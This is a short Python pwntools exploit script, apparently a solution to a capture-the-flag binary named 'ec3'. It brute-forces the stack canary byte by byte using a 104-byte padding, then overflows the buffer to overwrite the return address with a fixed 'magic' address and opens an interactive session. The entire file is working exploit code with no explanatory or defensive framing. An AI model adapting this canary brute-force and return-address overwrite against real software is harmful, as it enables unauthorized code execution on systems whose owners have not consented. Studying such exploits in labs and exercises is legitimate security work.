#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

r = process('./ec3')

padding = 'a'*104
magic = 0x4007d8

r.recvuntil('HiCanary')
canary = '\x00'
for i in range(7):
    for j in range(256):
        r.send(padding + canary + chr(j))
        x = r.recvuntil('HiCanary')
        if "Nice" in x:
            canary += chr(j)
            print hex(u64(canary.ljust(8,'\x00')))
            break

r.sendline(padding + canary + 'a'*8 + p64(magic) + p64(magic))

r.interactive()
